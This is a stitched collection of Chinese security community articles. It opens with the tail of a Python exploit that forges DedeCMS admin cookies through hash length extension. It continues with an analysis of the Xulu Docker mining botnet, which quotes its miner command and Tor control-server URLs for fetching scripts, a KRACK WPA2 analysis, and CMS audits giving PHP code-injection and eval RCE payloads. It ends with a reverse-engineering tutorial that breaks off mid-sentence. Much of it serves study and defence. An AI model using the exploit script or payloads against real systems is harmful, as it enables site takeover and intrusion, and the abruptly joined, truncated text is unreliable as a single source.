c=GG(c,d,a,b,M7,14,0x676f02d9L)
b=GG(b,c,d,a,M12,20,0x8d2a4c8aL)
#Third round
a=HH(a,b,c,d,M5,4,0xfffa3942L)
d=HH(d,a,b,c,M8,11,0x8771f681L)
c=HH(c,d,a,b,M11,16,0x6d9d6122L)
b=HH(b,c,d,a,M14,23,0xfde5380c)
a=HH(a,b,c,d,M1,4,0xa4beea44L)
d=HH(d,a,b,c,M4,11,0x4bdecfa9L)
c=HH(c,d,a,b,M7,16,0xf6bb4b60L)
b=HH(b,c,d,a,M10,23,0xbebfbc70L)
a=HH(a,b,c,d,M13,4,0x289b7ec6L)
d=HH(d,a,b,c,M0,11,0xeaa127faL)
c=HH(c,d,a,b,M3,16,0xd4ef3085L)
b=HH(b,c,d,a,M6,23,0x04881d05L)
a=HH(a,b,c,d,M9,4,0xd9d4d039L)
d=HH(d,a,b,c,M12,11,0xe6db99e5L)
c=HH(c,d,a,b,M15,16,0x1fa27cf8L)
b=HH(b,c,d,a,M2,23,0xc4ac5665L)
#Fourth round
a=II(a,b,c,d,M0,6,0xf4292244L)
d=II(d,a,b,c,M7,10,0x432aff97L)
c=II(c,d,a,b,M14,15,0xab9423a7L)
b=II(b,c,d,a,M5,21,0xfc93a039L)
a=II(a,b,c,d,M12,6,0x655b59c3L)
d=II(d,a,b,c,M3,10,0x8f0ccc92L)
c=II(c,d,a,b,M10,15,0xffeff47dL)
b=II(b,c,d,a,M1,21,0x85845dd1L)
a=II(a,b,c,d,M8,6,0x6fa87e4fL)
d=II(d,a,b,c,M15,10,0xfe2ce6e0L)
c=II(c,d,a,b,M6,15,0xa3014314L)
b=II(b,c,d,a,M13,21,0x4e0811a1L)
a=II(a,b,c,d,M4,6,0xf7537e82L)
d=II(d,a,b,c,M11,10,0xbd3af235L)
c=II(c,d,a,b,M2,15,0x2ad7d2bbL)
b=II(b,c,d,a,M9,21,0xeb86d391L)
A += a
B += b
C += c
D += d
A = A&0xffffffff
B = B&0xffffffff
C = C&0xffffffff
D = D&0xffffffff
a = A
b = B
c = C
d = D
return show_md5(a,b,c,d)
cfg_cookie_encode_md5 = dede_fieldshash
s1 = cfg_cookie_encode_md5[0:8]
s1 = '0x' + s1[6:8] + s1[4:6] + s1[2:4] + s1[0:2]
s2 = cfg_cookie_encode_md5[8:16]
s2 = '0x' + s2[6:8] + s2[4:6] + s2[2:4] + s2[0:2]
s3 = cfg_cookie_encode_md5[16:24]
s3 = '0x' + s3[6:8] + s3[4:6] + s3[2:4] + s3[0:2]
s4 = cfg_cookie_encode_md5[24:36]
s4 = '0x' + s4[6:8] + s4[4:6] + s4[2:4] + s4[0:2]
exec('s1=%s' %s1)
exec('s2=%s' %s2)
exec('s3=%s' %s3)
exec('s4=%s' %s4)
#这里的循环产生5种可能的DedeUserID，原因是$cfg_cookie_encode的长度无法预测
for origin_length in range(28,33):
if origin_length != 32:
length = chr(origin_length*8)
secret_admin = 'a'*origin_length+'x80'+'x00'*(64-origin_length-1-8)+length+'x00'*7 + userid
else:
secret_admin = 'a'*origin_length+'x80'+'x00'*(64-origin_length-1-8)+'x00x01'+'x00'*6 + userid
r = deal_rawInputMsg(secret_admin)
inp = r[len(r)/2:]
ans = ''
cnt = 0
for i in r[:len(r)/2]:
if(cnt%2 == 0):
ans += '%'
ans += i
cnt += 1
print "DedeUserID: "+ans[(origin_length*3):]+userid
print
print "DedeUserID__ckMd5: "+run_md5(s1,s2,s3,s4,inp)[0:16]
## PS
关于哈希长度扩展攻击的工具，可参考pcat的两篇博文：
<http://www.cnblogs.com/pcat/p/7668989.html>
<http://www.cnblogs.com/pcat/p/5478509.html> | 社区文章 |
近日，阿里云安全发现了一个使用未授权访问漏洞部署恶意Docker镜像进行挖矿的僵尸网络团伙。我们给这一团伙取名为Xulu，因为该团伙使用这个字符串作为挖矿时的用户名。
Xulu并不是第一个攻击Docker的恶意挖矿团伙，但它不同于其他僵尸网络。Xulu感染一台服务器后，并不对外进行大规模扫描，而是使用OSINT技术，即利用开源情报，动态地从shodan网站获得可能的“猎物”ip列表。
此外，Xulu僵尸网络将自己的服务器放在Tor洋葱网络中，这使得对幕后黑手的追溯变得更加困难。
# 会挖矿的恶意Docker镜像
Docker容器是一个开源的应用容器引擎，可以让开发者打包他们的应用及依赖包到一个轻量级、可移植的容器中，从而在不同环境中可靠运行。
近年来随着微服务的流行，越来越多的企业在部署应用时使用容器，然而在这一过程中安全往往没有得到应有的重视，导致Docker容器在多起事件中成为网络攻击的靶子。
在本次Xulu僵尸网络事件中，我们注意到沦陷服务器上都被创建了镜像名为zoolu2/auto的恶意容器。
这些恶意容器中运行着如下进程
其中的挖矿进程很容易分辨：
/toolbin/darwin -o us-east.cryptonight-hub.miningpoolhub.com:20580 -u xulu.autodeploy -p x --currency monero -i 0 -c conf.txt -r
尽管miningpoolhub.com是公开矿池，但由于它不提供每个用户的历史收益数据，我们无从得知攻击者从恶意挖矿中总共赚了多少钱。
# 僵尸网络的传播和持久化
Xulu僵尸网络进行自身的传播和持久化的过程中，使用了OSINT技术并借助了洋葱网络。
首先，该僵尸网络的控制服务器地址是<http://wg6kw72fqds5n2q2x6qjejenrskg6i3dywe7xrcselhbeiikoxfrmnqd.onion>
。".onion"后缀表明这是一个必须通过洋葱匿名网络访问的“洋葱服务”(又名“隐藏服务”)。
该僵尸网络以/toolbin/shodaemon作为守护进程：
不难看出该脚本下载了<http://wg6kw72fqds5n2q2x6qjejenrskg6i3dywe7xrcselhbeiikoxfrmnqd.onion/shodan.txt>
，与本地硬编码的/toolbin/hcode.txt文件内容一起存入search.txt
运行/toolbin/shodan，读取search.txt的列表并对shodan发送如上图所示的查询。
这些查询会返回互联网上一系列开放了Docker服务(2375端口)的主机ip。尽管这些主机并非每个都存在漏洞，但攻击者仍然通过使用shodan的信息，避免了大规模扫描的进行。
在获取了使用Docker服务的主机列表并去除重复ip后，已沦陷的主机会向表中ip发送docker
run命令，其中未授权访问漏洞的Docker服务将被部署"zoolu2/auto"恶意镜像，从而完成蠕虫的传播。
此外，Xulu僵尸网络还会每30分钟下载并执行从<http://wg6kw72fqds5n2q2x6qjejenrskg6i3dywe7xrcselhbeiikoxfrmnqd.onion/bnet1.txt>
下载的脚本，从而保持自身在受害主机上的活跃。
受害规模和安全建议
在docker hub官网我们可以看到，前文提到的"zoolu2/auto"已被下载超过1万次：
并且僵尸网络作者似乎仍在积极开发变种：
为了避免您成为此种恶意入侵和挖矿事件的受害者，阿里云安全为您提供如下安全建议：
不要将对内使用的服务(如Docker)开放在互联网上，应使用ACL或复杂密码等措施来保证仅有受到信任的用户才可以访问这些服务。
因为基于洋葱网络的“隐藏服务”已被用于多个僵尸网络的传播，不常使用洋葱网络服务的用户可以使用如下命令对其进行屏蔽：echo -e "\n0.0.0.0
.onion" >> /etc/hosts
我们推荐您使用阿里云下一代防火墙，因为它在阻止、拦截此类需要外联的攻击时十分有效。用户将在AI技术的帮助下，免于恶意挖矿事件的困扰
我们同样推荐阿里云安全管家服务。该服务的用户可以就碰到的问题随时咨询安全专家。安全专家还可以帮助用户进行安全加固、事件溯源、蠕虫清理等
# IOC
# Reference
<https://www.alibabacloud.com/blog/dockerkiller-threat-analysis-first-instance-of-batch-attack-and-exploitation-of-docker-services_593947>
<https://www.docker.com/resources/what-container> | 社区文章 |
作者：[安天安全研究与应急处理中心](http://www.antiy.com/response/krack.html "安天安全研究与应急处理中心")
#### 1 概述
欧洲鲁汶大学的博士后安全研究员 Mathy Vanhoef 在10月15日披露无线网络（Wi-Fi）保护协议标准 WPA2 的高危漏洞[1,2]。漏洞允许在
Wi-Fi 范围内的攻击者监听计算机和接入点之间的 Wi-Fi 流量。该漏洞影响协议本身，且对 WPA 和 WPA2 均有效，因此支持 WPA/WPA2
协议的软件或硬件均受到影响。
漏洞披露后，安天与炼石的工程师迅速响应，对该漏洞展开联合分析，形成此报告。
#### 2 漏洞分析
WPA全名为 Wi-Fi Protected Access，有 WPA 和 WPA2 两个标准，是一种保护无线网络（Wi-Fi）安全的协议[3]。WPA
实现了IEEE 802.11i标准的大部分，是在802.11i完备之前替代WEP的过渡方案，后被 WPA2 取代。由于 WPA 和 WPA2
均基于802.11i，因此在技术层面上几乎是相同的，主要区别在于WPA2要求支持更安全的CCMP。WPA 和 WPA2
均使用802.11i中定义的四次握手，客户端（Station, STA）和接入点（Access Point,
AP）通过四次握手相互验证和协商名为成对临时密钥（Pairwise Transient Key, PTK）的会话密钥。PTK
通过成对主密钥（Pairwise Master Key, PMK）、AP 随机数 ANonce、STA 随机数 SNonce 和双方 MAC
地址等计算生成，其中 PMK 由登录密码等双方均已知的信息计算生成。而后续正常数据加密所使用的临时密钥（Temporal KEY, TK）即派生自
PTK。各密钥、参数的关系如下图所示。
图 2 ‑ 1 四次握手中各密钥、参数关系
四次握手的过程可概括如下：
1. AP 发送自己的随机数 ANonce 给 STA；
2. STA 生成随机数 SNonce，计算出 PTK，并将 SNonce 和信息完整性校验码 MIC 发送给 AP；
3. AP 收到 SNonce，计算出 PTK（此时双方都已有 PTK），将组密钥GTK加密后连同 MIC 发给 STA；
4. STA 收到 GTK，安装 PTK 和 GTK，发送 ACK 确认。AP 收到确认后安装 PTK。
图 2 ‑ 2 四次握手过程
Vanhoef 将披露的漏洞攻击命名为 KRACK（Key Reinstallation Attack），攻击者通过在 Wi-Fi 范围内利用中间人的手段对
WPA/WPA2
协议的四次握手交互验证的第三阶段进行攻击。此时受害者已经安装了密钥，通过中间人手段进行增量式重放攻击后，迫使受害者使用攻击之前的密钥流加密数据。鉴于
WPA/WPA2 为对称加密，因此可以通过简单的明文密文得到可重复利用的密钥流。攻击者一旦获得密钥流就可以对 Wi-Fi 流量数据解密。
##### 2.1 利用原理
此漏洞利用的核心在于密钥重装，该模式基于WPA/WPA2协议中建立连接时的四次握手流程。在四次握手过程中，AP和客户端将会协商一个用于加密接下来通信数据的加密密钥，客户端在收到AP发来的第三次握手的信息（消息3）后会核实MIC，若正确将会安装加密密钥key，用于加密正常的数据帧，并向AP发送响应作为确认。根据协议规则，若AP无法正确接收到确认，将引发数据重传，重新发送消息3。客户端每次接收到消息3时都会重装相同的会话密钥。攻击者可利用此次握手过程，暴力增量式发送消息3，从而强制重置数据保密协议使用的增量传输数据包数（nonce）和接收重放计数器，导致密钥重用。攻击者可以通过这种方法重放、解密和/或伪造数据包。
KRACK攻击可分为4种场景：
1. 客户端（受害者）接受消息3的明文重传时的密钥重装攻击；
2. 受害者仅接受消息3的加密重传时的密钥重装攻击；
3. 对组密钥握手攻击即时密钥安装；
4. 对组密钥握手攻击延迟密钥安装。
图 2 ‑ 3 接受消息3明文重传时执行密钥重装攻击示意图
图2-3中展示了攻击者解密一个密文数据包的攻击流程。如果攻击者已知第一个发送的密文数据包的明文，则可以恢复出用于加密该明文数据的密钥流。由于四次握手协议的设计允许通过重传消息3来重装密钥PTK和GTK，并重置待发送数据包的nonce值，导致客户端使用相同的密钥流加密下一个数据包，进而导致攻击者可以解密客户端发送的下一个密文数据包。
上述解密过程是基于攻击者知道第一个数据包明文这一前提，然而攻击者有时无法预知数据包中的全部字段值（比如可能存在的随机字段），
所以攻击者可能需要多次重传消息3以收集更多数据来进行解密。图2-3中仅展示了恢复一个密文数据包的攻击过程，但是攻击者可以通过多次重传并合理选择重传时机（等待客户端在重传之前发送足够多的数据），甚至通过解除对客户端的认证来迫使客户端重新执行四次握手协议，实现解密多个数据包的目的。
图 2 ‑ 4 接受消息3明文重传时使用全0替换真实密钥攻击示意图
由于2.4和2.5版本的 wpa_supplicant（Android
6及以上的版本）在收到重传的消息3后对密钥重装过程的错误实现，使得在客户端接收到攻击者重传的消息3后，数据加密密钥 TK
被置为全0。这一错误实现极大的简化了密文恢复攻击，利用数据加密密钥为全0这个信息，攻击者不再需要已知明文条件就可以解密客户端发送的后续数据包。基于上述背景，攻击者通过中间人攻击迫使客户端改用全0的密钥之后，就可实现对客户端流量劫持，监控并篡改客户端发出的全部数据。
##### 2.2 KRACK攻击中nonce重用的密码分析
Nonce
重用引发的后果与所采用的数据保密协议密切相关。三种数据保密协议TKIP、CCMP和GCMP所采用的数据加密算法分别为流密码RC4、认证加密算法AES-CCM和认证加密算法AES-GCM，其中AES-CCM和AES-GCM的加密部分都是基于CTR模式的流式加密。即可认为TKIP、CCMP和GCMP三种协议均采用流式加密，即明文数据与算法生成的密钥流按比特逐位异或后得到密文数据。流式加密的问题是在密钥固定的条件下重用nonce时总会生成相同的密钥流。这一特性可以被利用来解密数据包。
图 2 ‑ 5 CTR模式下加密过程示意图
上图展示了CTR模式下用密钥k和计数器ctr加密明文消息
则对应的密文为
TKIP中基于RC4流密码的加密过程与此类似不再赘述。
在KRACK的攻击中，通过重放消息3能够达到迫使受害者重用nonce，导致上述加密过程中相同计数器ctr值的重复出现。相同密钥相同计数器ctr条件下，生成的密钥流值相同，攻击者可据此解密数据包。用KeyStream表示该密钥流，P1和P2表示两组明文数据，假设KeyStream，P1，P2具有相同的比特长度，则两组明文对应的密文分别为：
C1 = P1 ^ KeyStream
C2 = P2 ^ KeyStream
其中 ^ 表示逐比特异或操作。攻击者可以通过网络收集到密文C1和C2，如果攻击者知道密文C1对应的明文P1，则可以据此恢复明文P2的信息：
P2 = C2 ^ keystream = C2 ^ (P1 ^ C1)
在实际情况中，通常能找到已知内容的数据包，所以可以认为在密钥固定的条件下重用nonce时获得密文数据包可根据上述过程解密。即使已知内容的数据包确实无法获得，当对消息类型有足够的知识（比如消息为英文字符）的条件下，也可能解密还原出明文。值得注意的是，虽然nonce重用会导致密文数据包被解密，但并不导致密钥TK、PTK、PMK以及WiFi登陆密码的泄露，因此WPA2的密码体系只是被绕过，并没有被攻破。分组密码算法（AES）本身的安全性保证了即使在输入
和输出
已知的条件下，加密密钥k也不会泄露。
TKIP、CCMP和GCMP三种数据加密协议，在数据机密性之外，还提供数据完整性保护。而重用nonce在不同的数据加密条件下在数据完整性保护方面会带来不同等级的安全隐患。
使用TKIP协议时，当解密完整的TKIP数据包之后（包括MIC字段），攻击者可进一步攻击Michael算法获得相应的MIC密钥。这是由于Michael算法本身的脆弱性导致的，在给定明文数据以及MIC值的条件下，攻击者可恢复出MIC密钥。借助恢复出的MIC密钥，攻击者可伪造该数据传输方向上的数据帧（TKIP在不同的数据传输方向上使用不同的MIC密钥）。
使用CCMP协议时，虽然有研究展示了在重用nonce条件下数据伪造攻击的可能性，但都是停留在理论层面的攻击，难以在实际中生成真正的伪造数据包，仅能执行重放攻击以及数据包解密。
使用GCMP协议时nonce重用导致的安全问题最为严重。nonce重用使得攻击者能够恢复出GCM模式中的认证密钥（H），由于GCMP协议在数据传输的两个方向上使用相同的密钥进行数据保护，这赋予了攻击者在数据传输的两个方向上均可伪造数据包的能力。作为认证加密的一种工作模式，GCM模式由CTR加密算法以及GHASH验证算法组合而成，其中CTR算法部分直接采用传递给GCM模式的密钥k进行加密，而GHASH运算所需的验证子密钥H是AES算法利用密钥k加密全128比特的全0明文得到的128比特密文值。法国密码学家Joux指出当nonce重用时，攻击者可恢复出验证子密钥H的值（注意从H的值无法推算出GCM的输入密钥，这是由AES算法本身的安全性保证的）。攻击者获得H的值之后，GCMP所提供的数据完整性保护形同虚设，也因此攻击者可以伪造数据包。
总体来说，对于TKIP和GCMP，KRACK攻击影响极其严重，攻击者可以对数据包重放、解密和伪造。对于CCMP，虽然攻击者不能伪造，但是基于TCP/IP协议的特点，只要攻击者能够获得序列号，攻击者就可以劫持TCP流并将恶意数据注入到其中，后果同样十分严重。
#### 3 漏洞影响及响应情况
通过此漏洞可实现解密Wi-Fi流量数据、数据包重组、TCP连接劫持、HTTP内容注入等。KRACK攻击是通用的，适用于连接或使用WPA/WPA2的WiFi网络的所有类型设备。针对个人和企业网络以及所使用的任何加密套件（WPA-TKIP，AES-CCMP和GCMP）都有效，包括Android，iOS，Windows，Linux， MacOS，
OpenBSD以及嵌入式和物联网（IoT）设备。尤其是Android 6及以上的版本，研究人员表示可针对Android 6系统客户端
wpa_supplicant “完美攻击”，并且该攻击技术易于实现。根据安天移动安全统计数据，Android设备中Android 6系统占比约为41.9%。
由于此次漏洞影响较大，范围较广，供应商纷纷发起响应或发布补丁，部分供应商响应情况见下表：
表 3 ‑ 1 部分供应商响应情况[4]
注：如表中链接无法打开，可以从参考资料4中获取。
我们对表中Linux对应的八个补丁进行了分析，下面展示了各个补丁的作用原理。
1.`ebased-v2.6-0001-hostapd-Avoid-key-reinstallation-in-FT-handshake.patch`
在握手阶段Reassociation-Response时避免将TK重新安装到驱动程序部分，防止密钥重装攻击。
另外，只有在TK确认已经被卸载时，才允许安装配置，且不允许重复安装(当且仅允许成功配置一次)
2.`rebased-v2.6-0002-Prevent-reinstallation-of-an-already-in-use-group-ke.patch`
跟踪当前正在使用的GTK和IGTK，当接收到(可能重传)的第一次握手阶段的消息或WNM-睡眠模式响应时，如果密钥已经在使用中，则不安装新的密钥。这阻止了攻击者欺骗客户端去重置或更改与组密钥关联的序列计数器的行为。
安装igtk时：
WNM-睡眠模式响应时：
3.`rebased-v2.6-0003-Extend-protection-of-GTK-IGTK-reinstallation-of-WNM-.patch`
这个补丁追踪最后配置的GTK / IGTK值，分别与EAPOL-Key帧和WNM-睡眠模式帧配合，因为当这两种不同的机制的GTK /
IGTK发生变化时候，跟踪单个值不足以及时发现检测可能的密钥重新配置行为。
记录两种模式下的GTK：
记录两种模式下的Igtk：
4.`rebased-v2.6-0004-Prevent-installation-of-an-all-zero-TK.patch`
跟踪PTK是否已经安装到驱动程序，并且TK部分已经从内存中清除。 这样可以防止攻击者欺骗客户端来安装全零TK。
5.`rebased-v2.6-0005-Fix-PTK-rekeying-to-generate-a-new-ANonce.patch`
用于PTK rekeying的授权状态机，会在随机数生成的时候绕过authenication2状态，而直接进入之PKT-START状态，因为此时无需再次确认PMK，可能导致随机数不“随机”，或遭致其他问题。
针对此问题，当切换至PTKSTART状态时，便生成一个新的ANonce。
6.`rebased-v2.6-0006-TDLS-Reject-TPK-TK-reconfiguration.patch`
当成功配置TPK-TK后，禁止重新配置相同的参数至驱动。
7.`rebased-v2.6-0007-WNM-Ignore-WNM-Sleep-Mode-Response-without-pending-r.patch`
如果WNM-睡眠模式尚未使用，则忽略对应的WNM-睡眠模式请求。这可以避免处理意外的重传数据帧。
8.`rebased-v2.6-0008-FT-Do-not-allow-multiple-Reassociation-Response-fram.patch`
驱动部分除非在客户端明确请求一个新的连接时才会开启一个连接事件。不过，重新配置相同的成对密钥或组密钥会导致nonce被重用的问题，因此要进行额外的检查以避免恶意攻击的发生，包括因为某种环境因素导致意外收到重传数据包的情况。
#### 4 结论
KRACK漏洞利用主要针对WPA/WPA2的四次握手过程，没有利用AP接入点，而是针对客户端的攻击。因此，用户的路由器可能不需要更新。对于普通家庭用户，应多关注各终端设备厂商的安全公告，及时更新配置或打补丁，优先更新笔记本电脑和智能手机等客户端。
对该漏洞的利用并没有破坏密码体系本身，而是对实现过程进行了攻击，因此基本可以绕过所有的安全监控设备。利用该漏洞能够在一个良好实现的网络环境中，通过良好实现的WiFi打开攻击面，为后续攻击打开通路。
目前使用WPA2的大多数家庭和商业无线应用客户端升级相对容易，但对于数百万难以及时更新的IoT无线设备，可能造成巨大影响。请大家保持警惕，我们会持续关注相关事件并积极应对。
#### 附录：参考资料
1. [Mathy Vanhoef, Frank Piessens. Key Reinstallation Attacks](https://www.krackattacks.com/ "Mathy Vanhoef, Frank Piessens. Key Reinstallation Attacks")
2. [Mathy Vanhoef, Frank Piessens. Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2](https://papers.mathyvanhoef.com/ccs2017.pdf "Mathy Vanhoef, Frank Piessens. Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2")
3. [Wikipedia. WPA](https://zh.wikipedia.org/wiki/WPA "Wikipedia. WPA")
4. [Kristate, Github. Vendor Response](https://github.com/kristate/krackinfo#vendor-response-complete "Kristate, Github. Vendor Response")
* * * | 社区文章 |
王叹之@星盟
## 0x00 前言
晚上逛cnvd的时候看到了一个漏洞：稻草人企业站1.1.5存在getshell漏洞，拿来审计了一下。
审计对象：稻草人企业站1.1.5
下载地址：<http://www.dcrcms.com/news.php?id=2>
## 0x01 安装过程信息泄露和getshell
安装时使用D盾来做文件监控，bp重新发包抓包。我们先看安装之后的：
这里看到txt文件，访问一下
可以看到有敏感信息泄露
而且通过D盾文件监控我们发现有配置文件的写入
根据经验，我们测试一下内容可不可控，如果可控我们可以想办法写木马进去。
经过测试，（这里正常回显不报错），
tablepre=dcr_qy_';?><?php phpinfo()?>
成功写入--
我们去看一下源码：
可以看到这里就是我们的写入点
这里虽然引入了配置文件起到了过滤作用，但是并没有对我们写入做任何限制--
include "../include/common.func.php";
include "../include/app.info.php";
## 管理员后台任意文件上传导致getshell
首先进去后台，我们黑盒测试一下上传点，这里很多图片上传点
我们随便找一个上传php文件
这个好像是只对 **Content-Type:** 做了判断，我们来验证一下
这里回显正常
而且前端直接暴露了我们上传的地址，直接上蚁剑连接：
成功getshell。
事实上后台所有能上传图片的地方都是通过这种方式验证，导致我们可以在多处getshell。
我们看一下代码
include/class/class.upload.php
这里仅仅对文件类型通过allow_files 这个数组中的白名单检测，导致我们可以轻松绕过--
## 后台任意文件删除
关于后台功能点任意文件删除这个严格来讲我认为不算漏洞，后台管理员赋予你的高权限使得你这里可以达到任意文件删除。。网上有的师傅认为后台文件任意文件删除是漏洞，这里拿出来写一下吧233
先创建一个文件测试
我们将当前目录下的robots.php修改成test.php试试
删除文件成功。
我们来看代码
这里cpath变量可控，当?action=del_file时导致我们达成任意文件删除
## 总结
审计这个cms并不难，毕竟是一个演示站远古版本的cms了。分析的很浅薄,代码也很简单，不管是通读全文，熟悉架构，还是追踪数据流都挺简单的。
这个cms几个漏洞都挺经典的，安装过程的getshell,后台的getshell和任意文件删除。审计这个拿来巩固了一下代审的知识吧2333
还有就是安装好cms后黑盒测试还是挺重要的。
最后目前笔者还处于学习阶段，如有分析的不对的地方或者见识浅薄的地方还望批评指正。(大佬轻点打orz) | 社区文章 |
## 前言
这个系统之前看过，最近想起，发现有更新。之前看的粗，这次又认真看了一下，有些问题，先讲讲一个前台不用登录的任意代码执行，比较可惜的是在高版本执行不了。
## 系统简介
程序的唯一入口是`index.php`，根据`p`参数来调度各个模块下的文件，
跟进`inc\funciton\global.php`
接着是加载配置文件
程序往下走，对GET、POST 数据全局变量注册,并且没有加addslashes。
注意，这里的顺序，是先加载配置文件，然后才注册变量，那么这里是可以覆盖配置变量的。
## 漏洞分析
前面说到当`p=n-xxx`的时候，会进入到`inc\funciton\global_news.php`，而在这里有一个`eval()`的代码块。
如果`$tttemp`变量可控，那么我们就可以执行任意代码。
首先看一下整体逻辑
我们在`eval`后面输出一下`$tttemp`。
抓包看一下，不带任何参数，看程序是否会运行到`else`里面。
输出`$sort['aNiQV']['son']`，那么就不需要管其他太多的代码了。
往上回溯
`$ttemp`初始为`$sort`，拼接`$rs['code']`，最后大概是这样子的`$sort['xxx']['son']`。
前面说到数据是没有加addslashes的，那么就可以引入单引号逃逸出来，比如构造`$rs['code']`的值为
`'];phpinfo();exit();//`
那么最终执行的就是`$thisarr =$sort['xxx'];phpinfo();exit();//['son'];`
跟踪`$rs`，其来于`$navarr`数组，`$navarr`由`get_parents()`函数返回
而`get_parents`函数传进了两个参数`$pageid`,`$ym_idsort`。
先看参数`$pageid`
全局找一下`$ym_allsort`，发现是配置文件`/config/shop_config.php`里面的变量
前面说到这个加载顺序的问题，是可以覆盖变量的。输出看一下，成功覆盖。
这里还有一个`$p`，看到前面的代码：
意思是请求不为`news/`下的路径时，`$p`的值为`n-xxx`中的`xxx`
那么我们就可以控制`ym_allsort`的值，间接控制`$pageid`
接着看`$ym_idsort`，同样也是配置文件的变量，因为加载顺序的问题，一样可以被控制。
接着分析`get_parents()`函数的代码
那么我们只要控制`$pageid`与我们传入的`$ym_idsort`的一维键值一致，就能让函数正常返回到`$navarr`，而最后拼接的是`$rs['code']`，那我们的`$ym_idsort`应该是形如`$ym_idsort[$id][code]`这样的，其中`$id`的值等于`$ym_allsort[$p][id]`的值，而`$p`等于`n-xxx`的`xxx`。
最终请求payload为：（带html的原因是.htaccess，这里就不再讲了）
>
> [http://127.0.0.1/n-xxx.html?ym_allsort[xxx][id]=1&ym_idsort[1][code]=121%27][%271%27];phpinfo();exit();//](http://127.0.0.1/n-xxx.html?ym_allsort\[xxx\]\[id\]=1&ym_idsort\[1\]\[code\]=121%27\]\[%271%27\];phpinfo\(\);exit\(\);//)
至此，漏洞分析结束。
此漏洞是由于配置文件加载，在全局变量注册之前，导致可以被覆盖配置变量，又因为没有加addslashes，导致我们可以引入单引号等进行逃逸，最终造成任意代码执行。
## 漏洞修复
系统的高版本对此漏洞进行了修复，调整了两者的顺序，并加上了addslashes，使得变量不能覆盖，更加引入不了单引号等字符进行逃逸。 | 社区文章 |
翻译自：<https://medium.com/@danielabloom/bolo-reverse-engineering-part-2-advanced-programming-concepts-b4e292b2f3e>
**前言**
在本文中，我们将分解以下编程概念并分析每条指令的反编译的汇编版本：
1.数组
2.指针
3.动态内存分配
4.套接字编程（网络编程）
5.线程
对于逆向工程系列的第1部分，请[单击此处](https://xz.aliyun.com/t/3840 "单击此处")。
请注意：虽然本文使用IDA Pro来反汇编编译代码，但IDA
Pro的许多功能（即图形，伪代码转换等）都可以在其他免费反汇编程序（如radare2）的插件和构建中实现。此外，在准备本文时，我冒昧地将反汇编代码中的一些变量名称从IDA预设（如“v20”）更改为它们在C代码中对应的内容。这样做是为了使每个部分更容易理解。最后，请注意，此C代码已编译为64位可执行文件，并使用IDA
Pro的64位版本进行反汇编。尤其是在计算数组大小，32位寄存器（即eax）的大小通常加倍并转换为64位寄存器（即rax）。
好的，我们开始吧！
虽然第1部分介绍并描述了循环和IF语句等基本编程概念，但本文旨在解释在逆向工程时必须解密的更高级主题。
**数组**
让我们从数组开始，首先，让我们看一下整个代码：
现在，我们来看一下整个反编译程序集：
如您所见，12行代码变成了相当大的代码块。但不要被吓倒！请记住，我们在这里所做的就是设置数组！
让我们一点一点地分解它：
在使用整型初始化数组时，编译器只需通过局部变量初始化长度。
注意：上面的声明数组的反编译的图片实际上标注时错误的。但是在使用整型初始化数组时，编译器首先需通过局部变量初始化长度。上面的屏幕截图实际上是Stack
Canaries的初始化。Stack
Canaries用于检测溢出攻击，如果不这样的话，可能会导致执行恶意代码。在编译期间，编译器要为litArray的元素分配足够的使用空间。litArray[0]（见下图标注有“局部变量-数组”的图片）如你所见，唯一被分配的litArray元素是litArray [0 ]）。编译器优化可以显着提高应用程序的速度。
如果因此而产生困惑的话，我表示抱歉！
首先，将数组长度保存到局部变量（ArraySize），然后计算最大和最小索引值以及数组的总长度，然后使用它们计算内存中数组的基本位置。
当声明具有预定义索引定义的数组时，编译器只需将每个预定义对象保存到自己的变量中，此变量名反映数组中的索引号。（如objArray4 = objArray
[4])。
就像声明具有预定义索引定义的数组一样，在初始化（或设置）数组中的索引时，编译器会为所述索引创建一个新变量。
从数组中检索项时，该项从数组中的索引中获取并设置为所需的变量。
创建矩阵时，首先将行和列大小设置为它们的row和col变量。接下来，计算行和列的最大和最小索引，并用于计算内存中矩阵的基本位置或者总大小。
当从矩阵中检索时，再次执行与在矩阵索引的输入序列期间执行的相同的计算，但是不是将某些内容输入到索引中，而是检索索引的内容并将其设置为期望的变量(如，MatrixLeet)。
**指针**
现在我们已经了解了如何使用/查看汇编数组，让我们继续讨论指针。
让我们现在来分解汇编代码:
首先我们将int num赋值为10。
接下来，我们将num变量（即10）的内容设置为指针变量的内容。
我们输出num变量。
我们输出指针变量。
我们使用lea（加载有效地址）操作码而不是用mov输出num变量的地址。
我们使用lea（加载有效地址）操作码而不是用mov来输出指针变量的地址。
**动态内存分配**
我们列表中的下一个项目是动态内存分配。在本教程中，我将内存分配分解为以下内容：
1. malloc
2. calloc
3. realloc
**malloc - 动态内存分配**
首先，我们来看看代码：
在这个函数中，我们使用malloc分配11个字符，然后将“Hello World”复制到分配的内存空间中。
现在，我们来看看反编译程序集：
请注意：在整个汇编过程中，您可能会看到“nop”说明。这些说明是我在本文的准备阶段专门添加的，这样我就可以轻松地在整个汇编代码中定位和注释。
使用malloc时，首先将分配的内存大小（0x0B）首先移入edi寄存器。接下来，调用_malloc系统函数来分配内存。然后将分配的存储区存储在ptr变量中。接下来，“Hello
World”字符串被分解为“Hello Wo”和“rld”，因为它被复制到分配的存储空间中。最后，输出新复制的“Hello
World”字符串，并使用_free系统函数释放分配的内存。
**calloc - 动态内存分配**
首先，我们来看看代码：
与malloc非常相似，分配了11个字符的空间，然后将“Hello World”字符串复制到所述空间中。然后，输出新重定位的“Hello
World”并释放分配的内存空间。
通过calloc进行的动态内存分配看起来几乎与通过malloc分解为程序集时的动态内存分配相同。
首先，使用_calloc系统函数分配11个字符（0x0B）的空间。然后，“Hello World”字符串被分解为“Hello
Wo”和“rld”，因为它被复制到新分配的存储区中。接下来，输出新重定位的“Hello World”字符串，并使用_free系统函数释放分配的内存区域。
**realloc - 动态内存分配**
首先，让我们看一下代码:
在此函数中，使用malloc分配11个字符的空间。然后，在通过使用realloc重新分配所述存储器位置以适合21个字符之前，将“ Hello
World”复制到新分配的存储器空间中。最后，将“1337 h4x0r @nonymoose”复制到新重新分配的空间中。最后，在输出之后释放内存。
现在，我们来看看反编译程序集：
请注意：在整个汇编过程中，您可能会看到“nop”说明。这些说明是我在本文的准备阶段专门添加的，这样我就可以轻松地在整个汇编代码中定位和注释。
首先，使用malloc分配内存，就像在上面的“ malloc -动态内存分配”部分中一样。然后，在输出新重定位的“Hello
